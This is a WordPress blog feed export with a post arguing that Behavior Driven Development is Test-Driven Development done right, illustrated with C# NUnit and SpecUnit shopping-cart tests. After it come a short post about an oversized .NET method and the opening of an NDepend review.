<p>Anyone in TDD circle would agree that the very first thing one needs to know about Test-Driven-Development is: it has nothing to do with test. Doing TDD to replace other means of application tests is probably just as harmful as not having any test at all. What I keep hearing from times to times is people who start practicing TDD complaining that they&#8217;re still staring at many bugs crawling around before their eyes, and they will start questioning the relevance of TDD in software development. In different occassions, I hear people using their keyboard and mouse on screens to do &#8220;unit-test&#8221;.</p>
<p>I think the word &#8220;test&#8221; in our profession is one of those unfortunate legacies we inherit from the past. It&#8217;s totally misleading. And there has been many attempts to fix this. New terms have been introduced, like &#8220;Design by Examples&#8221;, and &#8220;Behavior Driven Development&#8221;.<br />
Behavior Driven Development is often claimed as an evolution from Test-Driven-Development, a sexy buzzword, a total paradigm shift that lets application code speaks in business language. And it&#8217;s suddenly becoming the greatest thing since sliced bread.</p>
<p>Well, the fact is, BDD is no other than our good old TDD. Or at least TDD done right, to be precise. BDD is not quite the evolution from TDD. It <em>is</em> TDD.</p>
<p>While some frameworks tackle BDD from completely different angle (e.g. NBehave), many BDD frameworks (e.g. <a href="http://code.google.com/p/specunit-net/">SpecUnit</a>, MSpec) are just a guideline of applying best practices in writing good xUnit tests. They are refinements of xUnit patterns (e.g. <a href="http://xunitpatterns.com/Four%20Phase%20Test.html" target="_blank">Four Phase Test</a>). I use <a href="http://code.google.com/p/specunit-net/">SpecUnit </a>myself, and classes in SpecUnit actually inherit directly from nUnit.</p>
<p>One of the common pattern (anti-pattern?) in xUnit is <a href="http://xunitpatterns.com/Testcase%20Class%20per%20Class.html" target="_blank">Testcase Class per Class</a> and <a href="http://xunitpatterns.com/Testcase%20Class%20per%20Feature.html#Testcase%20Class%20Per%20Method" target="_blank">Testcase Class Per Method</a>, which usually leads to ineffective tests. BDD promotes <a href="http://xunitpatterns.com/Testcase%20Class%20per%20Feature.html#Testcase%20Class%20Per%20User%20Story" target="_blank">Testcase Class Per User Story</a>.</p>
<p>There are many BDD examples out there. But one remark came up during the discussion was that most examples about TDD/BDD around are usually centered around the framework and end-results, instead of the process itself. I think that&#8217;s a good point. The process might illustrate the key difference between the 2 approaches, and what BDD really means for us. I&#8217;ll try to cover some TDD process here, it&#8217;s going to be verbose. I&#8217;ll highlight the code changes between each steps.</p>
<p>At the risk of being totally boring, I&#8217;m going to use the ubiquotous shopping-cart story as an example.<br />
Creating a test called <span style="color:#000080;">ShoppingCartTest</span> is perhaps too obviously baaaaadd.. So let&#8217;s make a test that&#8217;s &#8220;reasonably bad&#8221;, so common that lots of people actually do that in TDD, like <span style="color:#000080;">AddingProductToShoppingCartTest</span>. Then later on we&#8217;ll try to refactor this into BDD way.</p>
<p>Let&#8217;s say, for discussion sake, products that go into the shopping cart will be acquired from the inventory-system. Not realistic perhaps, but should be good enough for our purpose.</p>
<h1>Test Driven Development</h1>
<p>Let&#8217;s start with our first test-case:</p>
<p><pre class="brush: csharp;">
[TestFixture]
public class AddingProductToShoppingCartTest
{
    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        cart = new ShoppingCart(
                this.customer = new Customer(),
                this.inventoryService = mocks.Mock&lt;InventoryService&gt;());
        nokia = new MobileHandset(42342);
        customer.OrderHistory.Add(createPreviousOrder());

        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);

        cart.Add(nokia, 12);

        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(20);
    }
}
</pre></p>
<p>Nice. Now the second test: <span style="color:#000080;">AddingSameProductsShouldGroupThemTogether</span>, and you realize that certain portion of the code could be reused, so you are refactoring that bit into a SetUp method.</p>
<p>While we&#8217;re here, there&#8217;s 1 thing that you don&#8217;t normally observe from TDD examples that only give you the end-result. Here you notice that refactoring into SetUp method is a &#8220;reactive&#8221; activity. We create SetUp method after couple of testcases. SetUp method is meaningless, and its purpose is merely to eliminate repetition by consolidating the least-common-denominator of all testcases.</p>
<p>Further down in this post, you will see that this is in contrast with BDD, where SetUp method has its own place as a first-class citizen. In BDD, SetUp method (aka Context) is created proactively before you start writing your first testcase.</p>
<p>Anyway, so here&#8217;s our first 2 testcases after refactoring:</p>
<p><pre class="brush: csharp;">
[TestFixture]
public class AddingProductToShoppingCartTest
{
	// [ADDED] --------------------------- {
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock&lt;InventoryService&gt;());
        nokia = new MobileHandset(42342);
        customer.OrderHistory.Add(createPreviousOrder());

        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);
    }
	// } -------------------------- [/ADDED]

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
		// [REMOVED /]
        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

	// [ADDED] --------------------------- {
    [Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }
	// } -------------------------- [/ADDED]
}
</pre></p>
<p>So far so good. You go ahead and write the next 8-9 testcases, before you stumble across our next testcase: CustomerFirstTimeOrder_ShouldAllowOnly1Product. Bugger! Our SetUp method no longer fits to cover this scenario. You will need to take line 10 from SetUp method back to each of the testcases.</p>
<p><pre class="brush: csharp;">
[TestFixture]
public class AddingProductToShoppingCartTest
{
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock&lt;InventoryService&gt;());
        nokia = new MobileHandset(42342);

		// [REMOVED /]

        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, Args.AnyInt)).ThenReturn(true);
    }

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        customer.OrderHistory.Add(createPreviousOrder()); // &lt;- ADDED

        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

	[Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        customer.OrderHistory.Add(createPreviousOrder()); // &lt;- ADDED

        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }

    // [ADDED] --------------------------- {
    [Test] public void CustomerFirstTimeOrder_ShouldAllowNotAllowMoreThan1Product()
    {
        Assert.Throws&lt;IllegalRequest&gt;( ()=&gt; cart.Add(nokia, 2));
        cart.GetLineFor(nokia).ShouldBeNull();
    }

    [Test] public void CustomerFirstTimeOrder_ShouldAllow1Product()
    {
        cart.Add(nokia, 1);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(1);
    }
	// } -------------------------- [/ADDED]
}
</pre></p>
<p>OK let me say it again. SetUp method consolidates the least-common-denominator of all testcases. Well, after you cover various scenarios for your test, you will no longer have too much common-denominator. Consequently, you will find yourself keep changing large number of testcases and refactor your test-code every time you add a new test-case that covers slightly different scenario.</p>
<p>For completeness sake, let&#8217;s add 1 more test-case: WhenInventoryRunsOutOfStock_ShouldRejectProduct(). Alas, once again we need to refactor the SetUp method. So this concludes the final result of our TDD process:</p>
<p><pre class="brush: csharp;">
[TestFixture]
public class AddingProductToShoppingCartTest
{
    [SetUp] public void BeforeEachTest()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock&lt;InventoryService&gt;());
        nokia = new MobileHandset(42342);
    }

    [Test] public void ShouldContainAddedProductWithCorrectQuantity()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, 12)).ThenReturn(true);

        cart.Add(nokia, 12);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(12);
    }

    [Test] public void AddingSameProductsShouldGroupThemTogether()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, 10)).ThenReturn(true);
        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, 20)).ThenReturn(true);

        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
        cart.GetLineFor(nokia).ShouldNotBeNull();
        cart.GetLineFor(nokia).Quantity.ShouldBe(30);
    }

    [Test] public void CustomerFirstTimeOrder_ShouldAllowOnly1Product()
    {
        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, 2)).ThenReturn(true);

        Assert.Throws&lt;IllegalRequest&gt;( ()=&gt; cart.Add(nokia, 2));
        cart.GetLineFor(nokia).ShouldBeNull();
    }

    [Test] public void WhenInventoryRunsOutOfStock_ShouldRejectProduct()
    {
        customer.OrderHistory.Add(createPreviousOrder());
        inventoryService.Expect(x=&gt;x.AcquireProduct(nokia, 20)).ThenReturn(false);

        Assert.Throws&lt;IllegalRequest&gt;(()=&gt; cart.Add(nokia, 20));
        cart.GetLineFor(nokia).ShouldBeNull();
    }
}
</pre></p>
<p>Everytime we cover a new test-case, we change the equilibrium of our common-denominator, and you will spend most of your time refactoring. After 99 testcases, you have virtually nothing in common. Your SetUp method is practically empty. Each of your testcases are a giant repetitive set of arrage-expect-action-assert, all in every single method. Effort to maintain this test is out of control. The test is no longer readable. Try reading again the test we just wrote. Still readable? Try again tomorrow morning.</p>
<h1>Behavior Driven Development</h1>
<p>Let&#8217;s try converting the exact same testcases we just wrote into SpecUnit grammar. I&#8217;ll also switch my mock-framework from record-replay mode into AAA-syntax.</p>
<p><pre class="brush: csharp;">
public class when_adding_a_product:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    public override void Because()
    {
        cart.Add(nokia, 12);
    }

    [Observation]
    public void should_acquire_product_from_inventory()
    {
        inventoryService.AssertWasCalled(x=&gt;x.AcquireProduct(nokia, 12));
    }

    [Observation]
    public void cart_should_only_contain_1_line()
    {
        cart.Lines.ShouldHaveSize(1);
    }

    [Observation]
    public void cart_should_contain_line_for_added_product()
    {
        cart.Lines.First().Product.ShouldBe(nokia);
    }

    [Observation]
    public void cart_item_should_have_added_quantity()
    {
        cart.Lines.First().Quantity.ShouldBe(12);
    }
}

public class when_adding_same_product_twice:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    public override void Because()
    {
        cart.Add(nokia, 10);
        cart.Add(nokia, 20);
    }

    [Observation]
    public void should_acquire_both_requested_products_from_inventory()
    {
        inventoryService.AssertWasCalled(x=&gt;x.AcquireProduct(nokia, 10));
        inventoryService.AssertWasCalled(x=&gt;x.AcquireProduct(nokia, 20));
    }

    [Observation]
    public void cart_should_only_contain_1_line()
    {
        cart.Lines.ShouldHaveSize(1);
    }

    [Observation]
    public void cart_should_contain_line_for_added_product()
    {
        cart.Lines.First().Product.ShouldBe(nokia);
    }

    [Observation]
    public void cart_item_quantity_should_be_sum_of_added_quantities()
    {
        cart.Lines.First().Quantity.ShouldBe(10 + 20);
    }
}

public class when_inventory_runs_out_of_stock:
    Behaves_like_an_empty_shopping_cart_and_a_repeat_customer
{
    Exception exception;
    public override void Because()
    {
        inventoryService.When(x=&gt;x.AcquireProduct(nokia, 2)).ThenReturn(false);

        thrownException = ((MethodThatThrows)()=&gt;
            cart.Add(nokia, 2))
        .GetException();
    }

    [Observation]
    public void should_reject_the_request()
    {
        thrownException.ShouldNotBeNull();
    }

    [Observation]
    public void should_not_acquire_product_from_inventory()
    {
        inventoryService.AssertWasNotCalled(x=&gt;x.AcquireProduct(nokia, Arg.AnyInt));
    }

    [Observation]
    public void should_not_add_any_product()
    {
        cart.Lines.ShouldBeEmpty();
    }
}

public class when_a_first_time_customer_add_more_than_1_product_quantity:
    Behaves_like_an_empty_shopping_cart
{
    Exception exception;
    public override void Because()
    {
        thrownException = ((MethodThatThrows)()=&gt;
            cart.Add(nokia, 2))
        .GetException();
    }

    [Observation]
    public void should_reject_the_request()
    {
        thrownException.ShouldNotBeNull();
    }

    [Observation]
    public void should_not_acquire_product_from_inventory()
    {
        inventoryService.AssertWasNotCalled(x=&gt;x.AcquireProduct(nokia, Arg.AnyInt));
    }

    [Observation]
    public void should_not_add_any_product()
    {
        cart.Lines.ShouldBeEmpty();
    }
}

public class when_a_first_time_customer_add_1_product_quantity:
    Behaves_like_an_empty_shopping_cart
{
    Exception exception;
    public override void Because()
    {
        cart.Add(nokia, 1);
    }

    [Observation]
    public void should_acquire_product_from_inventory()
    {
        inventoryService.AssertWasCalled(x=&gt;x.AcquireProduct(nokia, 1));
    }

    [Observation]
    public void cart_item_should_contain_the_product()
    {
        cart.GetLineFor(nokia).Quantity.ShouldBe(1);
    }
}

[Concern(&quot;Shopping Cart&quot;)]
public class Behaves_like_an_empty_shopping_cart: ContextSpecification
{
    public override void Context()
    {
        cart = new ShoppingCart(
            this.customer = new Customer(),
            this.inventoryService = mocks.Mock&lt;InventoryService&gt;());
        nokia = new MobileHandset(42342);

        inventoryService.When(x=&gt;x.AcquireProduct(Arg.Any&lt;Product&gt;(), Args.AnyInt)).ThenReturn(true);
    }
}

public class Behaves_like_an_empty_shopping_cart_and_a_repeat_customer:
    Behaves_like_an_empty_shopping_cart
{
    public override void Context()
    {
        base.Context();
        customer.OrderHistory.Add(createPreviousOrder());
    }
}
</pre></p>
<p>So this time, every user-story is no longer written in 1 (or several) methods. Instead, each user-story is represented as 1 class with a clear context. And each test-method only contains one single line of Assert statement. As a rule-of-thumb, 1 assert turns to 1 test-method. As such, we can quickly lookup the definition of each expected behavior. E.g., we can lookup that the definition of <span style="color:#000080;">cart_item_quantity_should_be_sum_of_added_quantities</span> is <span style="color:#000080;">cart.Lines.First().Quantity.ShouldBe(10 + 20)</span>.</p>
<p>Same goes for the classes that represent each user-story. They are defined in a clear business vocabulary, comes with each definition. Programmers can lookup the definition of each business context instantly. E.g. the definition of <span style="color:#000080;">when_inventory_runs_out_of_stock</span> is <span style="color:#000080;">inventoryService.When(x=&gt;x.AcquireProduct(nokia, 2)).ThenReturn(false)</span>.<br />
Our test becomes a handy place for programmers to lookup business glossary just by following <span style="color:#000080;">Context()</span> and <span style="color:#000080;">Because()</span> methods. So the definition of &#8220;inventory running out of stock&#8221; in the context of a shopping cart is when <span style="color:#000080;">AcquireProduct()</span> returns false.</p>
<p>Usually I stick all these classes together into a single file (e.g. AddingProductToShoppingCartSpecification.cs). A file where we can lookup a whole aspect of a little sub-functionality in our system in a neat grammar of Behaves_like, When, Should, Should, Should&#8230; where every one of them is immediately followed by its definition.</p>
<p>Now everytime we need to write a new scenario, we&#8217;re no longer worried if this will affect the other testcases. If the new scenario doesn&#8217;t fit with our current contexts, we simply create a new context. Just create a new when_xxx class&#8230; without needing to refactor any existing test-case.<br />
This helps us to avoid the temptation to apply lazy-workaround. For instance, in our previous TDD example about &#8220;first-time-customer&#8221;, developers could actually just create a new method in Customer class to clear all OrderHistory to turn a repeat-customer back into a fresh first-time-customer. This makes the SUT fits with existing SetUp method scenario and test-cases dependency hell&#8230; saving them from refactoring effort. But this leads to smelly design, and probably doesn&#8217;t fit with the domain they&#8217;re representing. (In domain requirement, they probably will never have a customer clearing his order history).</p>
<p>When you execute this &#8220;testcases&#8221;, SpecUnit provides a tool that converts this into a pretty HTML document with nice given-when-then grammar, structured in an organized fashion. This document is readily consumable by non-technical people. After the business people see this document quite several times, they will start to understand how you work. They are able to see how we (developers) translate the requirement they convey into an executable specification in given-when-then fashion. Soon enough, they will get excited and start to learn to speak in the same grammar.</p>
<p>They already have a general feeling of the way we talk, so they will start expressing their requirement in the same given-when-then language, which will immediately appear as our BDD specification. Closing the room for ambiquity. Bridges the gap of communication.</p>
<br /> Tagged: Behavior Driven Development, Test Driven Development <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/474/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/474/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/474/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=474&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/07/17/bdd-tdd-done-right/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>
	</item>
		<item>
		<title>Big Is Beautiful..</title>
		<link>http://hendryluk.wordpress.com/2009/07/02/big-is-beautiful/</link>
		<comments>http://hendryluk.wordpress.com/2009/07/02/big-is-beautiful/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 01:32:13 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/?p=461</guid>
		<description><![CDATA[.. NOT! I found this from Pattrick Smacchia&#8217;s blog, a single method inside .Net framework class, System.Windows.Forms.DataGridView.GetClipboardContent(). I think it&#8217;s hilarious. Yes, a single method. Flag1, flag2, flag3,&#8230; obj1, obj2, obj3&#8230;, Obfuscator is the last thing they ever need.<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=461&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>.. NOT!<br />
I found this from <a href="http://codebetter.com/blogs/patricksmacchia/archive/2009/06/28/fighting-fabricated-complexity.aspx">Pattrick Smacchia&#8217;s blog</a>, a single method inside .Net framework class, <em>System.Windows.Forms.DataGridView.GetClipboardContent()</em>.<br />
I think it&#8217;s hilarious.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/07/largemethodbig2.jpg"><img class="alignnone size-large wp-image-466" title="Giant Method" src="http://hendryluk.files.wordpress.com/2009/07/largemethodbig2.jpg?w=1024&#038;h=70" alt="Giant Method" width="1024" height="70" /></a></p>
<p>Yes, a <em>single</em> method. Flag1, flag2, flag3,&#8230; obj1, obj2, obj3&#8230;, Obfuscator is the last thing they ever need.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hendryluk.wordpress.com/461/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hendryluk.wordpress.com/461/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hendryluk.wordpress.com/461/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=461&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hendryluk.wordpress.com/2009/07/02/big-is-beautiful/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/6da01884f4c56e4affdde6e9317ee466?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">Hendry Luk</media:title>
		</media:content>

		<media:content url="http://hendryluk.files.wordpress.com/2009/07/largemethodbig2.jpg?w=1024" medium="image">
			<media:title type="html">Giant Method</media:title>
		</media:content>
	</item>
		<item>
		<title>NDepend for Continuous Quality</title>
		<link>http://hendryluk.wordpress.com/2009/04/28/ndepend-for-continuous-quality/</link>
		<comments>http://hendryluk.wordpress.com/2009/04/28/ndepend-for-continuous-quality/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 14:41:07 +0000</pubDate>
		<dc:creator>Hendry Luk</dc:creator>
				<category><![CDATA[Software Development]]></category>
		<category><![CDATA[Architecture]]></category>
		<category><![CDATA[Development Practice]]></category>
		<category><![CDATA[Domain Driven Design]]></category>
		<category><![CDATA[NDepend]]></category>
		<category><![CDATA[Tools]]></category>

		<guid isPermaLink="false">http://hendryluk.wordpress.com/2009/04/28/ndepend-for-continuous-quality/</guid>
		<description><![CDATA[Full Disclosure: Patrick Smacchia (lead dev of NDepend) offered me an NDepend Professional license so that I could use it and blog about it. I gladly received it. Now I’m going to tell you how much it rocks, but not because I have to. I had been having interest in NDepend for quite some time. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hendryluk.wordpress.com&amp;blog=3697224&amp;post=381&amp;subd=hendryluk&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><em>Full Disclosure: <a href="http://codebetter.com/blogs/patricksmacchia/" target="_blank">Patrick Smacchia</a> (lead dev of NDepend) offered me an <a href="http://www.ndepend.com/" target="_blank">NDepend</a> Professional license so that I could use it and blog about it. I gladly received it. Now I’m going to tell you how much it rocks, but not because I have to. I had been having interest in NDepend for quite some time. It’s a great tool in promoting good application code and architecture, something I’m quite fond of. This is a tool that I would have been using anyway if the project I’m working on were on .Net.</em></p>
<h1>What is NDepend?</h1>
<p>In case you haven’t been within the reach of geeky hype signal recently and never heard about NDepend, it is a tool that <em>reads</em> into your source code, and <em>statically</em> analyses if the code meets certain design guidelines and quality. By “statically”, it means that it examines your code without actually running it. NDepend is often used in code-review process during development to easily identify spots in the code that could be improved.</p>
<p>If that sounds like FxCop to you, yes they share the same goal in principle, but they are different in 2 ways:</p>
<ol>
<li>FxCop works on fine-grain details. It inspects each line of instruction or coding structure, and how they comply with framework design guideline. NDepend works more from high-level application architecture viewpoint. It visualizes the code in terms of dependencies, complexities, and other design metrics in <em>quantifiable</em> numbers, giving you a big picture idea of the state of the code and spot smelly areas. You can then define some thresholds to define an acceptable level of code quality. Further down this post, this difference will become crystal clear.</li>
<li>FxCop gives you a set of rules you can use, but and there is no easy way to express your own rule. Adding new rule involves writing new add-in to be plugged into FxCop. The primary strength of NDepend is on its CQL (Code Query Language), a DSL that allows you to express your own custom rule and evaluate it on the fly as you type.</li>
</ol>
<h1>Using NDepend</h1>
<p>NDepend makes me wish my current project at work was written on C#. It is in fact written in Java. Incidentally, developed using <a href="http://en.wikipedia.org/wiki/Big_ball_of_mud">big-ball-of-mud</a> approach, the code has degraded to one of the worst source-codes I have worked on. That should have been absolutely the perfect place to use NDepend and refactor the big mess out loud. Alas NDepend doesn’t deal with Java. The good news is, NDepend just <a href="http://codebetter.com/blogs/patricksmacchia/archive/2009/02/05/xdepend-rc1-ndepend-for-java-is-now-available.aspx" target="_blank">announced</a> to release NDepend for Java, <a href="http://www.xdepend.com/" target="_blank">XDepend</a>. But that’s for another post.</p>
<p>For our purpose, I pick a codebase from one of open-source .net projects I am quite familiar with, <a href="http://code.google.com/p/codecampserver/" target="_blank">CodeCampServer</a>, a web application developed using a Domain-Driven-Design and Test-Driven-Development on MVC platform. That perfectly mimics my idea of good application architecture.</p>
<p>UI appearance of Visual NDepend very much feels like Visual Studio environment.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb.png?w=338&#038;h=294" alt="image" width="338" height="294" border="0" /></a>  <a href="http://hendryluk.files.wordpress.com/2009/04/image12.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb12.png?w=322&#038;h=294" alt="image" width="322" height="294" border="0" /></a></p>
<p>Getting NDepend to analyse assemblies is incredibly easy! Literally couple of intuitive clicks, and before I know it, I am presented with fantastic details of information about the project.</p>
<h1>Dependency Graph</h1>
<p>Dependency graph is the best way to understand the architecture of the code.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image51.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image5-thumb.png?w=575&#038;h=161" alt="image" width="575" height="161" border="0" /></a></p>
<p>You can navigate further deeper to get more intimate understanding about the code. Since CodeCampServer is built using Domain-Driven-Design, the domain-model layer is more than likely to be our primary interest in understanding the application, particularly when it’s developed by other people.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/dependencygraphsnapshot1.png"><img style="display:inline;border-width:0;" title="DependencyGraphSnapshot" src="http://hendryluk.files.wordpress.com/2009/04/dependencygraphsnapshot-thumb1.png?w=755&#038;h=164" alt="DependencyGraphSnapshot" width="755" height="164" border="0" /></a></p>
<p>What we are looking at is a direct x-ray scan of CodeCampServer.Model.Domain namespace, and it says 1 thing: <em>the code is impressive</em>! Doesn’t take much to notice that CodeCampServer is developed using a solid Domain-Driven-Design: the code almost looks like business document. None of all classes within this namespace has any reference to some geeky technical details or infrastructure components. Indeed, the dependency graph of this code directly reflects the business models and their associations, which is readily consumable not only for developers, but also for business people. Big A+ for CodeCampServer.</p>
<p>Dependency graph can also be presented in the form of matrix.</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/04/image2.png"><img style="display:inline;border-width:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/04/image-thumb2.png?w=383&#038;h=398" alt="image" width="383" height="398" border="0" /></a></p>
<p>3 rules to read this matrix:</p>
<ul>
<li>Green: number of methods in namespace on the left header that directly use members of namespace on the top header</li>
<li>Blue: number of methods in namespace on the left header that is directly used by members of namespace on the top header</li>
<li>Black: number of circular direct dependency between namespaces on the left and on the top headers</li>
</ul>
<p>As such, the following graph generates English description: 42 methods of the assembly CodeCampServer.Website are using 61 methods of the assembly CodeCampServer.Model</p>
<p><a href="http://hendryluk.files.wordpress.com/2009/05/image2.png"><img style="display:inline;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/05/image_thumb2.png?w=314&#038;h=130" alt="image" width="314" height="130" border="0" /></a> <a href="http://hendryluk.files.wordpress.com/2009/05/image1.png"><img style="display:inline;border:0;" title="image" src="http://hendryluk.files.wordpress.com/2009/05/image_thumb1.png?w=285&#038;h=153" alt="image" width="285" height="153" border="0" /></a></p>
<p>So back to the previous complete matrix, it shows that CodeCampServer.Model.Domain namespace does not have any reference to any other namespace (all horizontal boxes are blue). To put in other word, domain-model is the <em>core </em>of this application (<a href="http://jeffreypalermo.com/blog/the-onion-architecture-part-1/" target="_blank">see</a> <a href="http://jeffreypalermo.com/blog/the-onion-architecture-part-2/" target="_blank">Onion</a> <a href="http://jeffreypalermo.com/blog/the-onion-architecture-part-3/" target="_blank">Architecture</a>). All DDD-ish so far.</p>
<p>What I find interesting is that data-access namespace (CodeCampServer.DataAccess) makes *zero* direct communication with CodeCampServer.Model.Domain. It means that none of the repositories makes a direct communication with domain entities at all. This is impressive! It might seem counter-intuitive at first, how can those repositories create instances of domain-entities from DB, as well as save the state of domain-entities to DB without making any communication with any method/property/constructor of domain entity?</p>
<p>CodeCampServer uses NHibernate as ORM which completely decouples data-access concerns from the application code. Repositories in data-access layer simply delegate all CRUD operations of domain entities to NHibernate that will handle the creation and persistence of domain-entities. The repository itself makes totally zero direct communication with domain-entity.</p>
<p>Overall, CodeCampServer has a very good dependency matrix, but you will be surprised of how many unexpected smells that you can find in your application. You might find many things are not written in the way how you architect it. If one of your developers take a shortcut and, say, call security-checking from domain-entity, you will notice an unexpected reference from the dependency matrix (Domain-&gt;Security). You can even setup automatic alert when that happens, e.g. when domain layer has any reference to other namespace. More on that later.</p>
<h2>Circular Dependency</h2>
